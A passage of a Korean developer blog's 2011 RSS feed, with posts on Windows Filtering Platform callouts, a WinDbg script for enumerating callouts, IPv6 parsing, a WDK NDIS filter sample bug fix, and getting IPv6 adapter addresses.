정부기관 어딘가에서 긴급회의 소집하는 시츄에이션이 상상이 되면서리... 쩝...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-4269066282664897850?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/cb0zFx1rTzL4gB07Rknpo7TpVKo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cb0zFx1rTzL4gB07Rknpo7TpVKo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/cb0zFx1rTzL4gB07Rknpo7TpVKo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cb0zFx1rTzL4gB07Rknpo7TpVKo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/kRpLRsjSAIM" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/kRpLRsjSAIM/filesystem-filter-driver.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>7</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/09/filesystem-filter-driver.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-9184726416153046992</guid><pubDate>Thu, 01 Sep 2011 08:23:00 +0000</pubDate><atom:updated>2011-09-01T01:23:13.527-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">WFP</category><title>WFP 콜아웃의 inFixedValues-&gt;incomingValue[] 의 값이 항상 존재한다고 보장되지 않는다</title><description>WFP Sample 의 콜아웃의 구현에서 보면 &lt;br /&gt;
&lt;br /&gt;
WFPAleClassify()&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
switch(inFixedValues-&gt;layerId) {&lt;br /&gt;
case FWPS_LAYER_ALE_AUTH_CONNECT_V6 :&lt;br /&gt;
memcpy(LocalAddr ,inFixedValues-&gt;incomingValue[index].value.byteArray16, sizeof(FWP_BYTE_ARRAY16)) ;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
이와 같이 incomingValue 의 값을 복사하는 구현을 보게 됩니다. 그러나 이 부분에 대해 주의가 요구됩니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-FjMTJr6X4jg/Tl8_oEN4ZEI/AAAAAAAABAo/7-hJo1_iUYs/s1600/wfp2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="151" width="320" src="http://2.bp.blogspot.com/-FjMTJr6X4jg/Tl8_oEN4ZEI/AAAAAAAABAo/7-hJo1_iUYs/s320/wfp2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
디버깅 시 캡춰해 두었던 그림인데요... incomingValue의 값이 존재하지 않는 경우가 있을 수 있습니다. 따라서 일반 값이라면 상관 없겠지만 포인터 디레퍼런싱을 하게 될 경우에는 NULL 참조의 가능성이 있겠죠.&lt;br /&gt;
&lt;br /&gt;
이 부분은 문서상에 나와 있지 않으며, Sample 의 구현에서도 힌트가 없는 부분이므로 주의해서 써야 되겠습니다.&lt;br /&gt;
&lt;br /&gt;
다음과 같이 ...&lt;br /&gt;
&lt;br /&gt;
if(inFixedValues-&gt;incomingValue[index].value.type != FWP_EMPTY) {&lt;br /&gt;
RtlCopyMemory(LocalAddr, &lt;br /&gt;
inFixedValues-&gt;incomingValue[index].value.byteArray16,&lt;br /&gt;
sizeof(FWP_BYTE_ARRAY16)) ;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-9184726416153046992?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/D6DnCW-oL-A_A9u1TPBXR0FSLBQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/D6DnCW-oL-A_A9u1TPBXR0FSLBQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/D6DnCW-oL-A_A9u1TPBXR0FSLBQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/D6DnCW-oL-A_A9u1TPBXR0FSLBQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/GRynrzClQwY" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/GRynrzClQwY/wfp-infixedvalues-incomingvalue.html</link><author>noreply@blogger.com (reinhard v.z.)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-FjMTJr6X4jg/Tl8_oEN4ZEI/AAAAAAAABAo/7-hJo1_iUYs/s72-c/wfp2.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/09/wfp-infixedvalues-incomingvalue.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-4593956408733588322</guid><pubDate>Wed, 24 Aug 2011 15:20:00 +0000</pubDate><atom:updated>2011-08-24T08:20:52.856-07:00</atom:updated><title>WFP Callout 등록은 DriverEntry 에서 해야 하나...??</title><description>WFP 콜아웃을 등록하는 시점이 따로 정해져 있다는 얘기는 들어 본적이 없습니다. 다만, WDK Sample 에선 DriverEntry 의 시점에서 하고는 있죠. 아니면 DriverEntry 의 시점이 아닌 IRP 의 Dispatch 루틴에서 할 수도 있을 것입니다. 이를테면 드라이버의 클라이언트 Application이 로딩되는 시점, 즉 Create 디스패치의 시점입니다. 그러나 이 시점에서 콜 아웃을 등록한 후 나중에 언로드 시점에 콜아웃을 해제할 경우 네트워크가 Disconnect 되는 현상이 발생 됨을 확인하였습니다.&lt;br /&gt;
&lt;br /&gt;
왜 이런일이 일어나는지에 대해선 검토가 좀더 필요합니다. 차이점은 컨텍스트가 다르다는 부분입니다. DriverEntry의 컨텍스트는 System 프로세스의 컨텍스트이고... 디스패치의 시점은 일반 응용의 컨텍스트의 시점이죠. &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-4593956408733588322?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/HTEP351x7RwNQZBArl7df3bIQdU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HTEP351x7RwNQZBArl7df3bIQdU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/HTEP351x7RwNQZBArl7df3bIQdU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HTEP351x7RwNQZBArl7df3bIQdU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/CvS4Pfa5CBY" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/CvS4Pfa5CBY/wfp-callout-driverentry.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/08/wfp-callout-driverentry.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-5026002038166030185</guid><pubDate>Tue, 09 Aug 2011 03:54:00 +0000</pubDate><atom:updated>2011-08-08T20:54:59.160-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">WFP</category><title>Enumerate WFP Callouts</title><description>http://www.codemachine.com/article_findwfpcallouts.html&lt;br /&gt;
&lt;br /&gt;
CodeMachine 에 올라와 있는 WFP 콜아웃을 열거하는 Windbg 스크립트를 32비트 환경에서 해 보겠습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1: kd&gt; dp   netio!gWfpGlobal L1&lt;br /&gt;
8aefc260  84f19008&lt;br /&gt;
1: kd&gt; u netio!FeInitCalloutTable&lt;br /&gt;
NETIO!FeInitCalloutTable:&lt;br /&gt;
8aedf5ca 8bff            mov     edi,edi&lt;br /&gt;
8aedf5cc 56              push    esi&lt;br /&gt;
8aedf5cd 57              push    edi&lt;br /&gt;
8aedf5ce 8b3d60c2ef8a    mov     edi,dword ptr [NETIO!gWfpGlobal (8aefc260)]&lt;br /&gt;
8aedf5d4 33c0            xor     eax,eax&lt;br /&gt;
8aedf5d6 81c7d8020000   &lt;b&gt; add     edi,2D8h &lt;&lt;&lt; Offset of number of Entries &lt;/b&gt;&lt;br /&gt;
8aedf5dc ab              stos    dword ptr es:[edi]&lt;br /&gt;
8aedf5dd ab              stos    dword ptr es:[edi]&lt;br /&gt;
1: kd&gt; u&lt;br /&gt;
NETIO!FeInitCalloutTable+0x14:&lt;br /&gt;
8aedf5de a160c2ef8a      mov     eax,dword ptr [NETIO!gWfpGlobal (8aefc260)]&lt;br /&gt;
8aedf5e3 05dc020000      &lt;b&gt;add     eax,2DCh &lt;&lt;&lt; Offset of pointer to array of callout structures&lt;/b&gt;&lt;br /&gt;
8aedf5e8 50              push    eax&lt;br /&gt;
8aedf5e9 6857667043      push    43706657h&lt;br /&gt;
8aedf5ee be90010000      mov     esi,190h&lt;br /&gt;
8aedf5f3 56              push    esi&lt;br /&gt;
8aedf5f4 e8d8f8feff      call    NETIO!WfpPoolAllocNonPaged (8aeceed1)&lt;br /&gt;
8aedf5f9 8bf8            mov     edi,eax&lt;br /&gt;
&lt;br /&gt;
1: kd&gt; dq 84f19008+2D8&lt;br /&gt;
84f192e0  86b86000`&lt;b&gt;0000011e &lt;/b&gt;00000000`00000000&lt;br /&gt;
84f192f0  00000000`00000000 00000000`00000000&lt;br /&gt;
84f19300  00000000`00000000 00000000`00000000&lt;br /&gt;
84f19310  00000000`00000000 00000000`00000000&lt;br /&gt;
84f19320  00000000`00000000 00000000`00000000&lt;br /&gt;
84f19330  00000000`00000000 00000000`00000000&lt;br /&gt;
84f19340  00000000`00000000 00000000`00000000&lt;br /&gt;
84f19350  00000000`00000000 00000000`00000000&lt;br /&gt;
1: kd&gt; dq 84f19008+2DC&lt;br /&gt;
84f192e4  00000000`&lt;b&gt;86b86000 &lt;/b&gt;00000000`00000000&lt;br /&gt;
84f192f4  00000000`00000000 00000000`00000000&lt;br /&gt;
84f19304  00000000`00000000 00000000`00000000&lt;br /&gt;
84f19314  00000000`00000000 00000000`00000000&lt;br /&gt;
84f19324  00000000`00000000 00000000`00000000&lt;br /&gt;
84f19334  00000000`00000000 00000000`00000000&lt;br /&gt;
84f19344  00000000`00000000 00000000`00000000&lt;br /&gt;
84f19354  00000000`00000000 00000000`00000000&lt;br /&gt;
1: kd&gt; !pool 86b86000 &lt;br /&gt;
Pool page 86b86000 region is Nonpaged pool&lt;br /&gt;
*86b86000 : large page allocation, Tag is WfpC, size is 0x2cb8 bytes&lt;br /&gt;
Pooltag WfpC : WFP callouts, Binary : netio.sys&lt;br /&gt;
1: kd&gt;  u NETIO!InitDefaultCallout&lt;br /&gt;
NETIO!InitDefaultCallout:&lt;br /&gt;
8aedf640 8bff            mov     edi,edi&lt;br /&gt;
8aedf642 56              push    esi&lt;br /&gt;
8aedf643 6848c2ef8a      push    offset NETIO!gFeCallout (8aefc248)&lt;br /&gt;
8aedf648 6857667043      push    43706657h&lt;br /&gt;
8aedf64d 6a28            &lt;b&gt;push    28h &lt;&lt;&lt; size of each entry in the array allocated from NPP&lt;/b&gt;&lt;br /&gt;
8aedf64f e87df8feff      call    NETIO!WfpPoolAllocNonPaged (8aeceed1)&lt;br /&gt;
8aedf654 8bf0            mov     esi,eax&lt;br /&gt;
8aedf656 85f6            test    esi,esi&lt;br /&gt;
&lt;br /&gt;
1: kd&gt; &lt;b&gt;r $t0=86b86000;.for ( r $t1=0; @$t1 &lt; 11e; r $t1=@$t1+1 ) {dps @$t0+2*@$ptrsize L2; r $t0=@$t0+28;}&lt;/b&gt;&lt;br /&gt;
86b86008  00000000&lt;br /&gt;
86b8600c  00000000&lt;br /&gt;
86b86030  00000000&lt;br /&gt;
86b86034  8b141b25 tcpip!IPSecInboundTransportFilterCalloutClassifyV4&lt;br /&gt;
86b86058  00000000&lt;br /&gt;
86b8605c  8b13afaf tcpip!IPSecInboundTransportFilterCalloutClassifyV6&lt;br /&gt;
86b86080  00000000&lt;br /&gt;
86b86084  8b141a8f tcpip!IPSecOutboundTransportFilterCalloutClassifyV4&lt;br /&gt;
86b860a8  00000000&lt;br /&gt;
86b860ac  8b13b059 tcpip!IPSecOutboundTransportFilterCalloutClassifyV6&lt;br /&gt;
86b860d0  00000000&lt;br /&gt;
86b860d4  8b144f35 tcpip!IPSecInboundTunnelFilterCalloutClassifyV4&lt;br /&gt;
86b860f8  00000000&lt;br /&gt;
86b860fc  8b1450a8 tcpip!IPSecInboundTunnelFilterCalloutClassifyV6&lt;br /&gt;
86b86120  00000000&lt;br /&gt;
86b86124  8b144e79 tcpip!IPSecOutboundTunnelFilterCalloutClassifyV4&lt;br /&gt;
86b86148  00000000&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
요약하면 다음과 같습니다.&lt;br /&gt;
&lt;br /&gt;
"netio의 WFP 관련 전역변수 심볼의 주소를 구하고 콜아웃 구조체의 주소와 각 엔트리의 개수를 구하여 엔트리의 크기만큼 for 루프를 돌면서 매치되는 심볼을 디스플레이(dps) 한다." 입니다.&lt;br /&gt;
&lt;br /&gt;
예전 MS 세미나에 참석하여 MS WFP 담당자에게 위와 같은 기능의 WFP 디버거 익스텐션을 제공해 줄 수 있겠느냐고 요청을 하니 '지금은 곤란하다. 기다려달라' 류의 답변을 받았던 기억이 나네요...ㅎㅎ&lt;br /&gt;
&lt;br /&gt;
위의 내용은 사실 WFP 의 내부 구현을 알고 있어야만 쓸 수 있는 방법이긴 한데 마땅한 익스텐션이 없는 상황에선 아쉬운대로 쓸만한 것 같네요...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-5026002038166030185?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/6_qqWgHuQWpxFdxikyFIsflLVko/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6_qqWgHuQWpxFdxikyFIsflLVko/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/6_qqWgHuQWpxFdxikyFIsflLVko/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6_qqWgHuQWpxFdxikyFIsflLVko/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/OZ8HiWOKxG0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/OZ8HiWOKxG0/enumerate-wfp-callouts.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/08/enumerate-wfp-callouts.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-2840129503076817663</guid><pubDate>Fri, 05 Aug 2011 02:39:00 +0000</pubDate><atom:updated>2011-08-04T20:34:39.818-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">IPv6</category><title>IPv6 Packet Parsing II</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-syl_mgWTl-w/TjtVHdSzj3I/AAAAAAAAA_A/0sdwuRwNu9Q/s1600/ipv6-outrule.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="179" width="320" src="http://2.bp.blogspot.com/-syl_mgWTl-w/TjtVHdSzj3I/AAAAAAAAA_A/0sdwuRwNu9Q/s320/ipv6-outrule.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
Windows 7 의 방화벽 룰 설정 마법사를 보면 프로토콜 타입에 IPv6 가 들어가 있는 것을 볼 수 있습니다. 무심코 이를 IPv6 제어 포인트로 오해하기 쉬운데... 정확히 얘기해서 여기서의 IPv6 는 IPv6 over IPv4 를 의미합니다. 그외 IPv6 확장헤더의 NextHeader 들 역시 프로토콜 타입으로 정의하고 있는데 IPv6-Routing , IPv6-Frag IPv6-NoExt...등이 있습니다. &lt;br /&gt;
실제 Raw IPv6 를 제어하는 지점은 범위탭 입니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-6W18kx2ifa8/TjtWx5pCTiI/AAAAAAAAA_I/NS-jN52iBHs/s1600/ipv6-outrule-%25EB%25B2%2594%25EC%259C%2584.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="178" width="320" src="http://3.bp.blogspot.com/-6W18kx2ifa8/TjtWx5pCTiI/AAAAAAAAA_I/NS-jN52iBHs/s320/ipv6-outrule-%25EB%25B2%2594%25EC%259C%2584.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
IPv6 는 무엇보다 v4 와 공존할 수 밖에 없는 듀얼스택의 상황, 그리고 호환을 위한 터널링 프로토콜들에 대한 처리가 필요하므로 보안 홀이 생길 여지가 다분하다고 할 수 있습니다.&lt;br /&gt;
&lt;br /&gt;
v6 에 대한 패킷 분석은 이러한 관점을 주지해야 합니다.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-2840129503076817663?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/56r9dTZkqjbt_g4n3B_DNu9jKe4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/56r9dTZkqjbt_g4n3B_DNu9jKe4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/56r9dTZkqjbt_g4n3B_DNu9jKe4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/56r9dTZkqjbt_g4n3B_DNu9jKe4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/8WzLL8YJA1k" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/8WzLL8YJA1k/ipv6-packet-parsing-ii.html</link><author>noreply@blogger.com (reinhard v.z.)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-syl_mgWTl-w/TjtVHdSzj3I/AAAAAAAAA_A/0sdwuRwNu9Q/s72-c/ipv6-outrule.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/08/ipv6-packet-parsing-ii.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-1020903079322302073</guid><pubDate>Tue, 02 Aug 2011 14:58:00 +0000</pubDate><atom:updated>2011-08-02T07:58:09.756-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">IPv6</category><title>IPv6 Packet Parsing (IPv4 to IPv6)</title><description>IPv6 패킷의 파싱은 두가지 측면에서 보면 됩니다.&lt;br /&gt;
&lt;br /&gt;
1. 0x86DD 이더넷 프로토콜 타입의 Raw IPv6 헤더 자체에 대한 분석&lt;br /&gt;
&lt;br /&gt;
2. IPv6 터널링 관련 프로토콜에 대한 분석&lt;br /&gt;
&lt;br /&gt;
터널링 프로토콜은 v4 와 v6 간의 호환을 위해 존재하는 개념으로 ISATAP 의 경우는 IPv6 over IPv4 형식이며 Teredo 는 IPv4 의 UDP 패킷으로 구현됩니다.&lt;br /&gt;
&lt;br /&gt;
주의할 부분은 기존 TCP와 UDP 등의 전송계층 프로토콜과 그 상위 프로토콜을 제외한 다른 모든 패킷 프로토콜들이 많은 부분에서 변경되었다는 점 입니다. ARP와 IGMP 가 ICMPv6로 통합되었으며, DHCP 의 경우도 V6 버전이 별도로 제공됩니다. DNS 역시 V6 에 대한 고려가 필요하겠죠.&lt;br /&gt;
&lt;br /&gt;
Raw IPv6 의 Extension(확장) 헤더의 구조를 보면 왜 기본 설계가 중요한지 깨닫게 됩니다. 특히 IPv6 - Routing 확장헤더는 고속 라우팅까지 고려된 구조라고 하네요(시스코 문서에 따르면).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-1020903079322302073?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/9y1p6gX65UydX6x3ZOLKV6i-jsc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9y1p6gX65UydX6x3ZOLKV6i-jsc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/9y1p6gX65UydX6x3ZOLKV6i-jsc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9y1p6gX65UydX6x3ZOLKV6i-jsc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/TbQYO-pPVew" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/TbQYO-pPVew/ipv6-packet-parsing-ipv4-to-ipv6.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/08/ipv6-packet-parsing-ipv4-to-ipv6.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-8930799047866896761</guid><pubDate>Wed, 20 Jul 2011 14:45:00 +0000</pubDate><atom:updated>2011-07-20T07:48:41.187-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Bug</category><category domain="http://www.blogger.com/atom/ns#">WDK</category><title>OSR 2011 WDK Bug bash NDIS 관련 리포팅</title><description>이번 OSR에서 주최했던 WDK Bug Bash 에서 리포팅됬던 여러 버그들 중 NDIS 관련한 버그가 한가지 소개 되었습니다. 요즘 유행됬었던 말로 '정말 어처구니 없는' 버그 라고 할만합니다.&lt;br /&gt;
&lt;br /&gt;
http://www.osronline.com/bb.cfm?CFGRIDKEY=4031E001-0DFA-D750-7EF46E76AC87AA84&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
WINDDK\7600.16385.1\src\network\ndis\filter\filter.c 의 소스코드 중&lt;br /&gt;
&lt;br /&gt;
FilterReturnNetBufferLists() 의 구현에 &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;PNET_BUFFER_LIST    CurrNbl = NULL;&lt;/b&gt;&lt;br /&gt;
...&lt;br /&gt;
if (pFilter-&gt;TrackReceives)&lt;br /&gt;
{&lt;br /&gt;
while (CurrNbl)&lt;br /&gt;
{&lt;br /&gt;
//&lt;br /&gt;
NumOfNetBufferLists ++;&lt;br /&gt;
CurrNbl = NET_BUFFER_LIST_NEXT_NBL(CurrNbl);&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
CurrNbl 을 NULL 로 초기화하는 부분이 문제 입니다. 그 다음 이어지는 코드에서 CurrNbl 이 NULL 이므로 NumOfNetBufferLists 가 제대로 카운트 될 수 없는 형태 입니다.&lt;br /&gt;
&lt;br /&gt;
현재 이 버그는 Windows Kit 8000 대에서 fix 된 사항으로 알려져 있습니다.&lt;br /&gt;
&lt;br /&gt;
이것은 다음과 같이 FilterReturnNetBufferLists 의 인자로 들어온 NetBufferLists로 초기화 되어야 합니다.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;PNET_BUFFER_LIST    CurrNbl = NetBufferLists;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
구 버전의 WDK (7600 이전 버전) 의 Sample 을 기반으로 하여 filter 를 작성하신 분들은 참고하시고 수정해서 써야 합니다.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-8930799047866896761?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/SXceHCOA_2LccBkrUeW-En2WMlY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SXceHCOA_2LccBkrUeW-En2WMlY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/SXceHCOA_2LccBkrUeW-En2WMlY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SXceHCOA_2LccBkrUeW-En2WMlY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/cYac2cpzJa0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/cYac2cpzJa0/osr-2011-wdk-bug-bash-ndis.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>1</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/07/osr-2011-wdk-bug-bash-ndis.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-1267399457616748375</guid><pubDate>Wed, 13 Jul 2011 04:41:00 +0000</pubDate><atom:updated>2011-07-16T21:40:20.190-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">IPv6</category><title>인터페이스 별 IPv6 주소 얻기(GetAdaptersInfo 와 GetAdaptersAddresses)</title><description>&lt;b&gt;&lt;i&gt;부연합니다. GetAdaptersAddresses 함수는 GetAdaptersInfo 함수를 대체하기 위한 함수로 Vista 이전과 이후에서 사용되는 구조체의 형식이 다릅니다. &lt;br /&gt;
(IP_ADAPTER_ADDRESSES_LH, IP_ADAPTER_ADDRESSES_XP 구조체 참고 =&gt; 두 구조체가 호환은 되나 OS 버전에 따라 사용될 구조체가 달라짐)&lt;br /&gt;
&lt;br /&gt;
결국, GetAdaptersInfo 함수는 폐기될 예정의(Deprecated)함수이므로 GetAdaptersAddresses 함수로의 사용으로 점차 바꾸어 가야 할것입니다. 아래의 내용은 이러한 XP에서 Vista 로의 전환기에서 두 함수가 혼용될 경우 참고할 수 있는 내용입니다.&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
각 네트워크 어댑터 별로 설정된 IPv6 의 주소를 얻어오는 방법을 기술해 놓은 문서가 없는 것 같아 포스팅합니다.&lt;br /&gt;
&lt;br /&gt;
IPv6 의 주소는 GetAdaptersAddresses 라는 함수를 통해 얻어 올 수 있습니다만... 이 함수는 winXP 이상에서만 지원이 되며(IPv6 가 WinXP에서부터 지원), 어댑터와 관련한 정보는 보통의 경우GetAdaptersInfo(Win2K 부터 지원) 라는 IP Helper API를 통해 얻어오는게 일반적 이었습니다.&lt;br /&gt;
&lt;br /&gt;
GetAdaptersInfo 를 통해선 IPv4 의 주소 정보를 얻을 수 있으나 IPv6 의 주소정보를 얻을 수 는 없습니다. 그런데, 어댑터 관련한 기타 정보는 GetAdaptersAddresses 에서 얻을 수 없습니다.&lt;br /&gt;
&lt;br /&gt;
결국 두 함수를 섞어서 써야 IPv6 정보를 포함한 어댑터의 정보를 제대로 얻을 수 있을 것 입니다.&lt;br /&gt;
&lt;br /&gt;
핵심은 두 함수의 연관관계를 찾아내는 것이 되겠고...&lt;br /&gt;
&lt;br /&gt;
먼저, 두 함수를 통해 얻을 수 있는 IP_ADAPTER_ADDRESSES 와 IP_ADAPTER_INFO 구조체를 살펴볼 필요가 있는데...&lt;br /&gt;
&lt;br /&gt;
typedef struct _IP_ADAPTER_INFO {&lt;br /&gt;
struct _IP_ADAPTER_INFO* Next;&lt;br /&gt;
DWORD ComboIndex;&lt;br /&gt;
char AdapterName[MAX_ADAPTER_NAME_LENGTH + 4];&lt;br /&gt;
char Description[MAX_ADAPTER_DESCRIPTION_LENGTH + 4];&lt;br /&gt;
UINT AddressLength;&lt;br /&gt;
BYTE Address[MAX_ADAPTER_ADDRESS_LENGTH];&lt;br /&gt;
&lt;b&gt; DWORD Index;&lt;/b&gt;&lt;br /&gt;
UINT Type;&lt;br /&gt;
UINT DhcpEnabled;&lt;br /&gt;
PIP_ADDR_STRING CurrentIpAddress;&lt;br /&gt;
IP_ADDR_STRING IpAddressList;&lt;br /&gt;
IP_ADDR_STRING GatewayList;&lt;br /&gt;
...&lt;br /&gt;
} IP_ADAPTER_INFO, *PIP_ADAPTER_INFO;&lt;br /&gt;
&lt;br /&gt;
typedef struct _IP_ADAPTER_ADDRESSES {&lt;br /&gt;
